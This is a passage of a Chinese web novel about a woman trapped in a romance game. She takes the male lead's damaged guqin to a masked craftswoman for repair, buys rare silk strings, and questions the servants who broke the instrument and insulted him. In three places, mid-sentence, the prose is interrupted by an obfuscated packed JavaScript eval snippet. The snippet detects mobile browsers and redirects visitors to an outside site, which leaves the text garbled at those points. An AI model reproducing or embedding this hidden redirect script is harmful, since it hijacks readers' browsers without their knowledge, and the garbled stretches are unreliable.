郁离枝当然没有说出口,转身挑选了一把材质音色都属上上呈的古琴,赠与了暮云逸。 “可还满意?” 暮云逸接过郁离枝盛情赠与他的古琴,珍重地用指腹轻抚,涩声道:“……多谢姑娘。” 郁离枝送佛送至西,赠了琴之后拜别了暮云逸。 今日还有一些空闲,她要利用这些时间,略微修改一下现已写好的8000字稿子,把修琴一事自然地融入其中。 郁离枝打开黑色笔记本,落笔疾书。 半柱香后,郁离枝看着修改后的成品,颇为满意,果断交稿。 不料冷冰冰的拒稿页面还是弹了出来: 【审稿中……稿件已驳回!】 这次连原因都没有了吗? 郁离枝脸上挂着死亡微笑,虚心请教系统:“请问拒稿原因是什么呢?” 【玩家只拥有构建“恋爱故事”的能力,对于本世界里的其他既定事物、世界观无修改权限!请修改后重试!】 “也就是说,我不能通过写作来修复琴?” 【是的。】 郁离枝如鲠在喉,抓心挠肝。 “那么,现在情况是只要男主的琴修不好,他就没办法变成能走剧情的状态吗?” 【此事逻辑待定,或许玩家可以推翻现存稿件另辟蹊径,没准会有办法。】 系统打马虎眼道。 郁离枝不服气,她花了一整个白日写的8000字剧情,都已经在过稿边缘了,实在是没有理由弃掉啊! 郁离枝收起笔记本,唤来侍卫。 “小姐,有何吩咐?” “为我去璇玑寻找修琴师,要求技艺越精越好,修琴用时越短越好,不惜重金。” “明白,小姐。” “对了……找的时候注意告知,此琴名贵非常,不可马虎。若能在五日之内修到跟之前无异……酬劳上不封顶。”郁离枝表情严肃。 “是。”领命后,楚岚山飞速离开了郁离枝的庭院,消失在夜色之中。 郁离枝呼出口气,缓和了一下紧绷的神经,复又打开黑色笔记本: 【欢迎来到“韵文之庭”!】 【今日绮缘之晶即将扣除!您目前的绮缘之晶账户余额:1140!扣除后余额:1040!】 这个系统仿佛在和她较着劲,硬是不让她领到周常的过稿和过主线奖励。 不过这件事也让郁离枝大大警惕起来了,这个游戏世界的突发状况可能比她想象的要更多,而她作为剧情文案的权能,好像也没有如她想象的那般手眼通天。 无论如何,留给她的时间不多了。 8. 求见匠人 晌午之时,郁府外街巷熙攘。叫卖声嘈杂,混杂着烈阳和土壤的气味,让人感觉朴实又温暖。 可郁离枝却难有什么雅兴。 今天是她穿进这个游戏世界的第八天。惠风和畅,骄阳正好。 可是偏偏有一个大难题横亘在她眼前:要么修琴,要么推翻重新写稿。 郁离枝认命地翻动着话本书册。她决定发挥统筹思维,修琴改稿两手抓,哪条路快走哪条。 窗前略过一阵清风,忽而,一只通体雪白的鸽子落于窗沿之上,耀武扬威地扑腾了几下翅膀,而后开始慢条斯理地用喙梳理自己白亮的翎羽。 郁离枝被吸引去了目光。 这鸟却十分泰然,稳稳立于窗台之上,丝毫没有要飞走的意思。 郁离枝面露疑惑,忽然看见白鸽爪子之上似乎有什么东西。她眨了眨眼,心领神会,小心朝鸽子伸出了手。 这只信鸽显然训练良好,一点也不怕人。 郁离枝将那团东西从鸽子腿上取下,展开信纸,只见其上是简洁的一段话: 小姐: 属下已至璇玑县域边境,听闻有一避世巧匠,五日之内即可复原古琴,条件是需委托人亲自前来,但此消息真实性尚且不明,望小姐谨慎待之。属下所寻的其他匠人复原古琴最快也需要半月有余,请小姐斟酌。 落款是楚岚山。 郁离枝看着这几行字,若有所思。裁了一纸差不多大小的空白书页,写下了同样简洁的回信: 调查关于此人的具体消息。去璇玑边境离尘川最近的关口接应我,我亲自去见此人。 信手题下落款之后,郁离枝将纸片卷成筒状替换了绑于白鸽腿上。待绑好后,轻轻一抛,白鸽顺势张开羽翼,飞往空中。 而后折回到屋中,郁离枝动作迅速地换好绣着郁家家纹的锦服,将黑色笔记本悉心收进一个珠宝匣中锁好,抱着琴向门外走去。 前脚刚迈出院门,郁离枝立马折了回来,从书桌上收拾了几本话本和名家诗词,带在身上。 这些东西可不能忘了。 郁离枝迅速招呼了侍卫和车夫,告知了他们此行计划。 不到一炷香时间,郁离枝就已安坐于马车之上,踏上了前往璇玑的路途。 郁离枝的车厢内空间颇为宽大,车厢木质结构厚实,隔音减震效果优良,无多少动荡,也几乎听不到街上嘈杂的人声。 一阵忙碌之后,郁离枝终于得空放松。她微微叹了口气,用手支开马车的木窗,朝外望了一眼。 外面街景仍是郁府周边的繁华街巷,而郁离枝问过车夫,到达邻县璇玑至快也要今夜日入时分以后。 郁离枝遂放下木窗,回身端坐。收到信件后临时起意,出来的着急,她未曾想起与暮云逸告别。 而此番出府,至快恐怕也要六七日。 希望暮云逸不会介怀。 短暂地对她的男主心怀愧意之后,郁离枝眉头紧锁,复又拿出了珠宝匣。 随着“咔哒”一声,露出里面安稳躺着的黑色笔记本。 【欢迎来到“韵文之亭”!】 【请收取每日登陆奖励:绮缘之晶*50!】 郁离枝看向结晶余额:1110。 只希望她此行要见的人是确有其名,而不是白跑一趟。 日影西移,马车内光线渐渐昏暗。 郁离枝多次探出头去,颇为耐不住性子地询问车夫已行至何处。 终于在天幕完全沉入一片墨色之时,郁离枝得到了马上就能进入璇玑境内的答复。 一路上神经紧绷的郁离枝也终于得以松懈,在马车上小憩养神。 再一睁眼,郁离枝发觉车内已然不轻晃,似乎已经停了下来。 她略微警惕地将木窗打开一个缝向外查看,却听见楚岚山的声音: “小姐。” 原来是已经到了。郁离枝放下心来,打开车厢门走了下来。 马车停在了一家客栈门前。见郁离枝下车,楚岚山十分自觉地持了古琴,随郁离枝走进客栈。 “找到那位匠人了吗?”郁离枝开口。 “属下多方打听,见到了曾经去求见之人的口信,应该确有其人。只是此位匠人性情古怪,从不以真容示人,求见之人需得亲自前去,令这位匠人满意后方可办事。” “倒是个性情中人。不若我今夜就去求见。” “属下已将小姐身份和所求之事求告对方,对方似乎有兴趣,要求小姐今夜或者明夜携琴独自前往此纸条上的地址。” “我且去会会这人。”郁离枝接过纸条,展开看去—— 松茗酒楼拾玖桌。 郁离枝将行李与珠宝匣小心安置在客栈,乘上马车向纸条上的地址赶去。 一路上,郁离枝开了木窗。她初到璇玑县域,对这里处处都是惊奇。她发觉此地建筑比之尘川形制更巍峨优美,街上商铺也以工造修理之事居多。 这就是郁离枝在史书上曾经见过的,因晏氏世家工造之技而大兴工造之业的县域,璇玑。 郁离枝颇为好奇地探身望着窗外,忽而一座比之郁府还要壮阔华美的府邸吸引了郁离枝的目光。 只见此府制式十分雄伟,府外大门上刻着一个大字: “晏”。 看来此处就是璇玑晏氏的府邸。 郁离枝远远眺望去,想这晏府占地恐怕有郁府两倍有余,待马车走了许久,才被层层叠叠的楼山遮挡住。 郁离枝将视线从眺望中拉回,不料刚收回目光,马车却倏然停了下来。 “小姐,到了。”车夫道。 郁离枝下了马车,命楚岚山在内的一众侍卫在门外待命,她要依规矩独自进去。 楚岚山面有踌躇,却仍拗不过郁离枝,只得在酒楼外面戒备。 郁离枝抱琴,独自一人走进了酒楼。 “店家,您这酒楼第十九号桌于何处?” 饭时已过,酒楼内人影不算热闹。掌柜正打着盹,恍然被郁离枝的声音叫醒。 “哎,客官,在二楼东面。” 郁离枝遂抱琴上了二楼。 刚登上二楼,郁离枝扫视东面几桌,只见唯有一颇为扎眼的蒙面女子坐于角落桌前。 郁离枝眼睛尚未在此女子身上停留两息,几声清脆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202078|197231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑声却穿过酒桌直达郁离枝耳中。 “来了。你就是郁璋的独女,郁离枝?”女子的笑声清脆如铜铃,话语婉转轻柔。 “正是。”郁离枝走至桌前,将怀中古琴轻放在一旁,坐在蒙面女子的对面。 “不错,有胆量。今日这么晚了,我还以为你不会来了呢。” 郁离枝看着对面的蒙面女子,不见表情,却能从话音中听出对方分分明在笑。 “姐姐如何称呼?此琴一事实在紧急,舟车劳顿赶至此处,希望姐姐能施以援手,感激不尽。” “叫我婉儿就好。”蒙面女子收了笑意,语气里似乎夹杂了些苦恼和撒娇,“可是我只修有缘之人的有缘之物,离枝妹妹要做好心理准备。” “何谓有缘之人?何为有缘之物?”郁离枝问。 婉儿没有正面回答,话锋一转轻柔道:“听妹妹旅途至此,还没有用晚膳?我命掌柜再上些菜品,离枝妹妹先吃,让婉儿看看这琴可还修得。” 郁离枝没有推脱。纵然在马车上吃了些点心,可扔不顶用,她早就饿得肚子咕咕叫了。 婉儿俯身以手触摸着断掉的琴弦,若有所思地停顿,又缓缓摸了摸木制琴身。倩声笑语不再,看上去颇为严肃。 “婉儿姐姐,怎么样?莫非此琴情况棘手?”郁离枝心中升起几分忧虑。 婉儿闻言轻摇头,和缓道:“此琴制式古老,琴身和琴弦的材质都十分名贵,竟颇有已没落的沈氏之风。不过想来,离枝妹妹能接触到这种琴也在情理之中。冒昧问一下,此琴原本的主人系谁?” “是我府上的一名乐师。”郁离枝语焉不详,不想详细说这件事。 婉儿点头,识趣地不再追问。 “只是,此琴恐怕不是如离枝妹妹一开始所说的,是弹琴时崩断的。看这断弦截面和琴身上的细微磕碰,恐是人为所伤。”婉儿道。 “……人为,所伤?” 郁离枝眉头蹙起。这却是她不曾想过的。 “正是。莫非这之间,有什么说法上的出入?” 郁离枝颔首沉思。暮云逸当时确有其说是无意间崩断,且神情十分不自然。自己虽心存疑惑,但也没有放在心上。 郁府内戒备森严,守卫众多,刺客想要进入恐怕不易。那么到底是谁做的?到底发生了什么? 婉儿正对着眉头紧锁,闭口不答的郁离枝。面纱下看不见的娇美容颜之上,一点朱唇挽起一个几分了然几分顽劣的弧度。 “此琴我已经看过了,可以修,五日之内可完工。”婉儿站起身来,走到原来的座位之上,“只是婉儿有一个条件,需得离枝姑娘亲自前去采买修复琴弦所用的蚕丝。此琴名贵,就婉儿所知璇玑境内有制此种品类的丝弦的人家恐怕不多,故也难求,离枝姑娘恐怕要找寻一番。” “无事,只要姐姐能修就好。我明日就动身去找。”郁离枝如释重负,能修就好。不过采买些蚕丝,这事她肯定能摆平。 “……好。那么婉儿就等着离枝妹妹的消息。此琴我暂且先带回去了。”婉儿又恢复了盈盈笑意,细软面纱下的笑靥上绽起一个酒窝,持琴先行一步走出了酒楼。 9. 寻蚕丝 夜已渐深,舒适锦贵的最上等客栈单间内,郁离枝打开黑色笔记本。 【欢迎来到“韵文之庭”!】 【今日绮缘之晶即将扣除!您目前的绮缘之晶账户余额:1090!扣除后余额:990!】 郁离枝眉头轻蹙,看来今天也是交不了稿了。 奔波一整天,郁离枝已经极尽疲惫。她倒在丝绸质的床被上,不一会就陷入一片黑甜。 与此同时的郁府,也已沉入一片黑暗,唯有三三两两几个下人侍卫还在活动,少见光亮。 但是暮云逸住处的烛光却还亮着。昏黄灯光下,是男子惨白的面容。 本来因为昨天上午之事,暮云逸心绪十分不宁。可郁离枝却不仅善解人意,给予了充分体谅,还给足了他尊重。 不仅携了他的琴去专门找人修理,还从珍藏室里另送给他一把宝琴。 言语之间绝无一丝一毫的贬低和轻视。 暮云逸今日抚着宝琴,决定要好好报答郁离枝的知遇之恩。遂独自在院中练琴一整日,唯求离枝姑娘一展欢颜。 骄阳将暮云逸的青衣照得暖洋,乌黑长发披在身上,渐渐有微弱的灼痛之感。 日影西移,暮云逸持了宝琴,按照例前往内厅。 今日内厅的漆木院门却没有如往常一般敞开着。暮云逸轻叩院门,里面却无一丝声响,连下人忙碌的声音都没有。 暮云逸作势要推。 “公子,小姐今夜不在此用餐了。我们负责餐食的这些下人下午就接到了通知,公子可是还不知?” 一丫鬟模样的下人看到门前的暮云逸,出声提醒道。 “……不在此地用餐?”暮云逸嘴唇轻颤,下意识重复道。 “是的。膳堂那边告知我们内厅餐食中止几日,待接到通知再恢复准备。”下人规规矩矩道。 “离枝姑娘可是……离府外出了?怎么……”暮云逸抱着古琴的手微微收紧。 下人赶着要去干活,无意再跟暮云逸闲聊:“这些事我们也不知。”说完便快步走开了。 暮云逸垂首于院门前站了一会。 晖色暮影在暮云逸的青衣之上一寸寸移动,待最后一缕暮光也从暮云逸轻衫上游移开来之时,暮云逸微动了动已然有些发麻的腿,独自往回走去。 曾经他在世家中,虽不比郁家鼎盛,但也从不曾因阳春水之事而烦扰。家族倾覆后,暮云逸凭着些乐理方面的一技之长,且在最危险可能失身的关头被郁离枝救下,倒也一直不曾完全坠落到谷底的地步。 这些事情似乎都有意地让他与他现在的真实处境隔绝开来了——他现在不过是一个最籍籍无名的一个贱民,跟权势再无瓜葛,也再无什么资本骄傲。 郁离枝一个权贵世家的千金大小姐,对待他这样在外人看来来路不明之人,况且在他屡次给郁离枝惹麻烦的情况下,恐怕避而远之也是情有可原之事吧。 暮云逸坐在一轮清月之下的清冷庭院之中,眸中凝起一抹苦涩,面色也一同融入无边的黑暗。 更深露重的凉夜,待潮气湿了薄衣,暮云逸方才回屋点起一豆烛火。 烛火燃尽,暮云逸未再续点。郁府至此,陷入了完全的漆夜之中。 翌日,璇玑城内青烟四起,天光渐渐大彻。 昨夜与婉儿分别之际,婉儿曾细致告知了她的要求: 找来制作琴弦的剪秋蚕丝,并且注意除了赶路之外,收集情报、采买丝线之事都要郁离枝一人完成。买到后,去她的住所找她。 郁离枝不解此事何以一定要她一人完成,可念及这位蒙面匠人女子脾气古怪的传闻,郁离枝仍是应下。 或许奇人总是要有些怪癖的。 于是今日天一亮,郁离枝就叫来车夫和侍卫,要把她带去璇玑城里最负盛名的丝线商铺。 郁离枝一日都不想耽搁。 马车奔行。一炷香后,郁离枝来到了附近最近的一家丝铺:“纤丝行”。 这家铺子名字虽是平平无奇,但却是方圆几里丝线种类最齐全最奢靡的铺子,以它作为突破口准没错。 郁离枝抬脚迈过门槛,对店铺掌柜问道:“掌柜的,您这儿,可有‘剪秋蚕丝’?” 掌柜看到铺内进了个看上去就是贵女的华服女子,正想熟络地推销,闻言却只把眼睛往郁离枝身上一瞥,支吾了几下。 “呃……客、客官您确定是要‘剪秋蚕丝’?那种材料严苛制法古老的蚕丝,恐怕先进整个璇玑城都没有几个铺子里有了。客官您若是想要名贵丝线,我们这里有很多种别的,不如您去看看……”掌柜说着就要娴熟领郁离枝往架着各式丝线的内间走去。 郁离枝比了个手势,问道:“那请问掌柜,您可知道哪里有卖‘剪秋蚕丝’?” 掌柜嘀咕:“这种丝线用途不多,只用作名贵古琴的琴弦,已经很少有丝行在做这个了……不过客官若是执意相求,不若去此城东面,那处大规模饲养桑蚕之地碰碰运气,可能性会大一点。” 郁离枝听了眼睛一亮,温声谢过纤丝行掌柜,坐上马车往东面赶去。 郁离枝透过车窗,看向乡野路边种植的各式林木。从高大的木材,慢慢变成低矮的灌木状丛木。 看来已至那店家所言的桑蚕之地。 行至城镇之地,已经是快到中午。郁离枝遥遥望向远处,适时喊停了车夫。 她探出头来,看见一个衣着朴素的妇女走在路上,便遥遥问道: “打扰一下,请问您是否知道此地最大的的丝线行具体在哪吗?” 那妇女闻声转过身,怀里正抱着一个脏衣篓,用郁离枝听上去略有些费力的乡音糯声道: “就在前面那条街,顺着街往南走,能看见一个老高的楼阁,那就是咯。” 郁离枝道了谢,坐回车里。 进了街巷,见此地风情又有不同。楼阁普遍建得没有之前所见的巍峨,但比之尘川仍是高大。 而路上的行人,尽管是看上去清贫的农人,身上的衣物面料和款式也十分考究,色彩明丽。 郁离枝感叹着这大千世界,马车忽而停在了一高阁之前。 “小姐,到了。”车夫道。 郁离枝已扶着车沿下车,打量着这座高楼,往里面走去。 “老板,请问您这儿,可有‘剪秋蚕丝’?” 坐在厅堂之内的是个短发女子,衣饰看上去颇为利落。女子闻言眨了眨眼,似乎听到了什么奇闻。 “‘剪秋蚕丝’?” “正是。”郁离枝回道。 “我都多少年没听过这个名字了,没想到如今居然还能有人提起。”面前女子目中神往,似乎已经开始怀念。 “不过不好意思了,我这铺子已经很多年不做‘剪秋蚕丝’了。姑娘若想求此丝,我倒是知道一处丝行,就在后街不远的地方。不过姑娘可要备好银两,这丝价值可不菲。”老板道。 “多谢您。敢问那丝行具体在何处?” “你们是从外地赶来的吧?不远的,我叫香兰给你们指路。那是我多年前的徒弟的铺子,香兰一去,他们也不好推脱你们。”老板叫来一个丫鬟样的小女孩,跟她简单说了两句,让她随郁离枝一道前去引路。 郁离枝没想到这老板如此热心,接了香兰到自己的车驾之上。 “你们老板人真是好热的心肠,多谢。”马蹄“笃笃”,郁离枝与那女子对坐于车厢内,真心实意道谢。 “翠娘一直如此。我也是因此才帮她做事的。若没有翠娘的帮助,我恐怕现在都不知道在何处呢。”香兰笑笑道。 “多谢,你们老板的情报于我是雪中送炭。我这里还有些多余的银两,就作为答谢吧。”郁离枝正要往出掏银子,却被香兰推了回去。 “我们翠娘一向不接受这种答谢的。姑娘您一路走来这异乡也不容易,还是多在我们这买些吃食茶水吧。” 香兰倔强,郁离枝无法,也不强求。 “哎,大哥,到地方了,就是这里。”行至一处,香兰探身冲车夫喊道。 车夫勒马,停在一间小小铺子前面。 二人一同下车,香兰走在前面,边往屋中走边喊道:“来客人了,这儿有个客人想买‘剪秋’。” 屋内男子闻言放下手中活计,擦手应好。 “要多少?” 香兰转向郁离枝。 郁离枝微一停顿,道:“大致要修复两根断弦,算上用料损耗,采买多少合适呢?” 男子略微思考了一下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202079|197231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“六股为宜。制作一根琴弦一般需要两股,保险情况下这个数量最合适。” 郁离枝爽快答应。付了银两,将那名贵难求的“剪秋蚕丝”悉心收好,携香兰回了街巷。 放下香兰并道谢后,郁离枝心头终于卸下重任,在街头酒馆内点了一桌酒菜,把同行车夫和侍卫都叫来吃饭。 已至未时,大家都已饥肠辘辘,也就不再推脱。 酒足饭饱,一行人终于打道回府。 郁离枝坐于马车内,终于感到久违的惬意。 几天前的她怎么也不敢想,穿进个古风游戏里讨生活,竟也跟她前世敲代码的日子苦得不相上下。 她果然是个牛马命。 待回去找婉儿,恐怕也要到入夜时分了。婉儿修琴需要五日左右,到时候她倒是可以安心休息一下了。 郁离枝想着这些,眼睛忽然看到自己随车携带的话本和诗书,想起任务之事,遂又捧起书本读了一番。 【欢迎来到“韵文之庭”!】 【请收取每日登录奖励:绮缘之晶*50】 【完成部分每日任务!获得绮缘之晶*20!】 郁离枝此时的账户余额:1060。 嗯,还在可以接受的范围之内。 确信已经没有什么问题了,郁离枝方锁好黑色笔记本,抱着珠宝匣在马车上睡着了。 睡梦中郁离枝恍然梦见那把断了弦的几经转手的古琴已然恢复如初,琴身通体光洁漂亮。她抱着琴傻笑,随手把初版的那8000字日久生情稿上传上去,审稿界面随之出现一个绿色的大大对钩,界面上弹跳出一些飘带亮片之类的庆贺小物件,喜气洋洋地漂浮着。 然后郁离枝就笑醒了。 她发现自己还在马车之中,遂擦擦口水起身端坐。她支开车窗,只见外面的天幕已然昏暗。 “还有多久到?”郁离枝轻声问。 “马上了,不到半炷香。”车夫回答。 郁离枝点点头,顿了一下吩咐:“直接去晏府。” 郁离枝复盘了昨日相见,觉得婉儿其人实在是有些说不上恶劣的坏趣味,临了最后还要给她一个考验,让郁离枝自己去思索婉儿的住所究竟是何处。 不过这也就是最后一个谜题罢了。 见面之地松茗酒楼在晏府附近,从不以真容示人的技艺高超匠人,对世家之物和身为世家之女的郁离枝颇有了解,答案几乎就是呼之欲出了。 婉儿应当就是晏氏家族之女。 车夫将马车停在晏氏府邸门口,郁离枝抱着蚕丝,向晏氏侍卫求见。 想来应是婉儿已跟门前侍卫吩咐过。一听郁离枝来意,几个侍卫确认一下就随即放行了,其中一个侍卫还专门为郁离枝引路。 穿过层层叠叠制式华美的楼阁院落,侍卫将郁离枝带到一处庭院。 庭院里种着阵阵异香的艳丽花卉,随着扑面花香而来的还有婉儿含着笑意的声音: “离枝妹妹?” “婉儿姐姐,是离枝。” 一娇艳女子从屋内走了出来,惊异道:“离枝妹妹已经把‘剪秋蚕丝’买到了吗?可见妹妹实在是马不停蹄,恐怕一整天都在路途之上吧。” 婉儿说着,领了郁离枝进屋。 郁离枝苦笑。这个婉儿,果然知道哪里有卖此种蚕丝,却偏偏要考验她。 “嗯,早点修复完好自然是好的。” 婉儿闻言却笑了起来:“离枝妹妹,婉儿冒昧问一句,想来是这琴的主人是妹妹颇为在意之人吧。我婉儿给那么多前来求见的人下了各式各样的任务,像妹妹这样上心的人可不多见。” 郁离枝维持着温婉笑容。 可不是吗,男主跟我的命息息相关,我是一点不敢松懈啊。 婉儿看着沉默不语的郁离枝,笑意更浓了,甚至有了一丝姨母笑的意味。 “婉儿姐姐,线我已拿到了,请问姐姐要多久可以修好呢?”郁离枝正色。 婉儿却仍浅笑:“离枝姑娘果然有趣。实不相瞒,其实‘剪秋蚕丝’我这里也有,今日就已经在为离枝姑娘修琴了。让离枝姑娘采买一事,只是作为我办事的某种考验。弦我已补好了一根,明日下午,离枝姑娘就能来取修复完好的琴了。” 10. 回府问责 郁离枝坐在轻微摇曳的马车上,手指抚过腿上完好的琴身,轻轻触摸古琴已修复无瑕的琴弦。 蚕丝制成的琴弦既柔又韧,色泽温润如玉。 郁离枝注视着古琴,回想起一炷香之前,婉儿将琴交到自己手中时说的话: “这琴婉儿已经复原了。如今相处几日,方知离枝妹妹也是个惜才之人。不日我去尘川赏玩,离枝妹妹可要好好接待我。” 巧笑倩兮犹在眼前。婉儿确乎是奇人,与传言中所言别无二致,匠艺精妙高超。 没想到真的可以把断裂的琴弦修复地完好如初,而且还是在这样短的时间内。 郁离枝放下琴。舟车劳顿奔波几日,终于可以回府休息了。 把修好的琴给暮云逸,不出意外的话就可以修复他的异常状态了。 只是,还有一事。 马车轮忽而碾过不知什么砖石,车厢一时失了平衡,猛然摇晃了一下。 “咔嚓”一声,马车动荡,放在郁离枝身侧的珠宝匣磕碰上车厢,发出一声清脆的响动。 几个时辰之后,郁府灯火通明。 同样是“咔嚓”一声,郁离枝坐于书房内,放下茶杯,一字一顿道: “去调查我离府的前两日,可曾有什么人接触过暮云逸。悉数叫来,我要盘问。” 楚岚山俯首,低头应“是”。 小姐于入夜时分刚刚回府,郁府上下的人一时皆忙碌起来。 侍卫们集结出动,开始排查郁府上下人员,将与暮云逸有过单独接触的下人都带到郁离枝的院落内。 排查一轮,所幸没有发现来历不明的外来人员。 郁离枝在书房停顿休憩了一刻,缓步走入已站着十几名下人的院落。 唯见一众低眉垂首的下人。多是一些侍奉时接触的普通下人,还有日常执勤的侍卫,面容大多是一成不变的顺从刻板。 还不算浓深的夜幕之下,庭院寂静,几盏灯火让黑暗无所遁形。 郁离枝并未急于发问,而是先用眼神环顾一周,任由沉默在庭院之中蔓延开来。 她顿了顿方才开口,徐徐道:“你们可知我叫你们来所为为何?” 几个胆小丫鬟听闻郁离枝语气严肃,肩头微微发颤。 “若知道自己做了不该做之事,马上站出来坦白,尚可从轻发落。”郁离枝顿了顿,敛了眉目,眸色转冷正色道,“若等到我一句一句盘问,那便不是罚月钱、挨板子能了结的了。” 此言一出,人群中有一个灰衣丫鬟身形剧震,已“扑通”瘫倒在地,忍着哭腔哆哆嗦嗦开口: “小姐,是奴婢!奴婢罪该万死……” 郁离枝了然,挥手示意身边侍卫将丫鬟带到前来,她要亲自审问。 可正当此时,一蓝衣下人也站了出来,俯首道: “小姐,彩环是我妹妹。当时事发,我也在场。请让我与妹妹一同领罚。” 郁离枝打量着二人,默许了。将二人一同押至身前。 侍卫持着两人手臂,得了郁离枝的令,甫一松手,丫鬟彩环就跪在地上声泪俱下道: “小姐,奴婢、奴婢罪该万死。那日内厅里晚餐结束之后,奴婢收拾东西时不慎与即将离席的暮公子撞上,碰坏了那贵重的古琴。奴婢不慎犯下滔天之罪,无论小姐如何处置奴婢,奴婢都心甘情愿。” 此言一出,身后的下人们脸上皆露出惊愕神情,窃窃声在彩环身后蔓延开来。 郁离枝点点头,面色如霜冷声道: “当时是何种情景?你是否是为人所指?” “那日宴席已毕,奴婢行事莽撞,推门时正好撞上门前暮公子手上的古琴,以致琴弦崩断了两根……奴婢惶恐,当即谢罪,想为暮公子赔偿,可那时奴婢的哥哥勤兴也正好来内厅收拾残局,听到奴婢要赔偿之语,想起奴婢二人家中卧病亟需用钱的老妪,遂出来为奴婢求情。”彩环俯首于地,声音战战兢兢。 郁离枝思索片刻,道: “暮公子当时作何反应?只因你们求情,就选择了原谅不再追责?” “暮、暮公子正直心善,看奴婢可怜,便饶过了奴婢,还安抚奴婢二人……”彩环抖如筛糠。 郁离枝看着吓得脸色惨白的彩环,未发一言。 沉默了几息之后,郁离枝望向同样跪在地上不敢抬头的勤兴,声音威严:“情况属实?” 勤兴声音憨厚,忙道:“属实,小姐。” 郁离枝居高临下打量着二人,脑子飞速运转,分析着两人的一举一动。 似乎只是一场纯粹到不能再纯粹的乌龙意外。许是自己神经敏感了,总想阴谋论觉得是不是有什么人要来搅自己的局。 思虑许久,郁离枝暂未发现什么破绽,遂吩咐彩环、勤兴二人各自去领罚,罚半数月钱。 侍卫正要将二人带走,郁离枝看着面无血色的彩环,忽而品咂出了一丝违和。 离府前最后一天的晚宴过后,她也曾见过这个叫彩环的丫鬟如此战战兢兢的模样。 “且慢。”郁离枝叫停几名侍卫。 几个侍卫闻声停下动作,松开了对兄妹二人的束缚。 郁离枝幽幽开口: “若只是不小心弄坏了琴,为何见我如见鬼,能吓成这般?你们二人,还有事没有告诉我吧?” 此话落于本就面色苍白的彩环耳中,彩环脸上的惊恐之色更甚了。 “奴婢……奴婢……”彩环额角冒汗,语无伦次。 勤兴见事情已经瞒不住,先一步在彩环身后跪下,开口道: “是小的之错,跟妹妹无关。” “哦?”郁离枝挑眉,打算听听勤兴要怎么说。 “暮公子走后,妹妹仍是不安。小的为劝妹妹安心,说了些对暮公子……颇为不敬之话。小的罪该万死,不曾想暮公子似乎一直在庭院内没有走远,听到了此番话。小的不仅欺上瞒主,还对主子的宾客不敬。小的恳求主子施以重刑,就算发配出府,亦无怨无悔。但求主子能给妹妹一线生机。” 郁离枝自动忽略勤兴后面话语中的兄妹情深,迅速抓住了重点:“不敬之话?” 勤兴脸上倏倏滚落下豆大的汗珠:“小的、小的……小的以为暮公子只是小姐请来的乐师……因此、因此言辞上可能有些轻视……小的轻妄,不慎口出狂言,要打要杀,都任由主子处置……” 此话一出,语惊四座。身后的下人们一个个也都吓得面色苍白,心里只犯嘀咕。 这种事这群下人心底里或多或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202080|197231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少都想过,可有的下人圆滑一些,故而从不说出口。但此话一旦被放到台面上,恐怕就不只是普通打罚就能解决的了。 下人们都替勤兴捏了一把汗。可郁离枝心里却豁然开朗,心底的的浓雾终于逐渐拨散开来。 如果是这样的话,那么暮云逸前几天异常的种种举动,就都变得合理了。 勤兴当时所言,恐怕不是现下坦白的“轻视”那般简单。 而影响关键主角暮云逸心境的,恐怕不止是琴损,更重要的是“折辱”。 昔日世家的天之骄子一朝沦落为伶人,可内心的傲骨却未伤分毫。寄人篱下已属勉强,不曾想竟还要受奴仆的暗地轻贱折辱。 郁离枝换位思考一下,要是她处在这种情况下她都不知道会做出来什么事。 而暮云逸那日却只是比以往更沉默、更推脱一些,神色的不自然也在被极力压抑,以至于郁离枝几乎未曾察觉。 一丝懊恼掠过心头。她以为只要完成了“救风尘”卡牌剧情,便可以把暮云逸扔在府上不管不顾,直到自己写出“日久生情”卡牌剧情。 却未料及“救风尘”剧情还有售后任务。 这岂止是剧情走向推迟了三天?如果一直得不到解决,此事恐怕会像一根刺一样钉在男主心头,到时候男主万一崩坏了怎么办? 郁离枝抬眸,眼中目光已由思虑转为冷冽的坚定: “勤兴,你胆敢对我请来的贵客不敬,你可认罪?” “小的知罪。”勤兴俯首道。 “好。那么便如你所愿,领了重刑之后发卖出府,再无回到郁府做事的资格。” “谢主子饶命。”勤兴忙不迭叩首。 “至于彩环……还是维持先前的惩罚。”郁离枝给彩环、勤兴二人定了罪,侍卫将二人押送出去之后,郁离枝将目光回到庭院中站着的一众下人: “还有你们这些下人,听好了。暮云逸乃是我郁离枝的座上宾,绝不是普通的乐师伶人之辈。郁府所有人要视他如视我,谁人若胆敢对暮公子不敬,那就做好跟今日的勤兴一般,被发卖出府的准备吧。” 语毕,郁离枝遣散了院中战战兢兢的一众下人。 